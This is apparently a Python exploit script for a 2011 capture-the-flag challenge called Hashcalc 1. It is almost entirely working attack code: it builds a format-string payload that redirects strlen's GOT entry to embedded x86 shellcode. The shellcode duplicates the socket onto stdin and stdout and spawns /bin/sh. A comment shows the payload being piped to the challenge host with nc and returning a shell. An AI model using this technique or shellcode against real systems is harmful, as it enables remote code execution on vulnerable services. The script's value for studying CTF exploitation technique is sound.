#!/usr/bin/env python
# pCTF 2011 - #22 Hashcalc 1
# Shellcode in the GOT using multiple write2 since there was no NX
# $ { python exploit.py; cat; } |nc a9.amalgamated.biz 30001
# ** Welcome to the online hash calculator **
# $ id
# uid=1009(hashcalc1) gid=1010(hashcalc1) groups=1010(hashcalc1)
from struct import pack,unpack
# dup2(5,0) dup2(5,1) dup2(5,2) - 17 bytes
SC = "\x31\xc9\x31\xdb\xb3\x05\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5"
# /bin/sh - 23 bytes
SC += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# total 40 bytes (2*20)
offset = 5
got_strlen = 0x0804A41C
sc_addr = got_strlen+4
p = ""
# 1) to rewrite strlen's got with address of shellcode
p += pack("<I", got_strlen)
p += pack("<I", got_strlen+2)
# 2) to write shellcode right after strlen's got
for i in range(0,len(SC),2):
p += pack("<I", sc_addr+i)
# do 1)
low,high = sc_addr&0xFFFF, sc_addr>>16
p += "%."+str((low-len(p))&0xFFFF) + "u%"+str(offset)+"$hn"
p += "%."+str((high-low)&0xFFFF) + "u%"+str(offset+1)+"$hn"
# do 2)
wrote = high
for i in range(len(SC)/2):
val = unpack("<H", SC[2*i:][:2])[0]
p += "%."+str((val-wrote)&0xFFFF)+"u%"+str(offset+2+i)+"$hn"
wrote = val
print p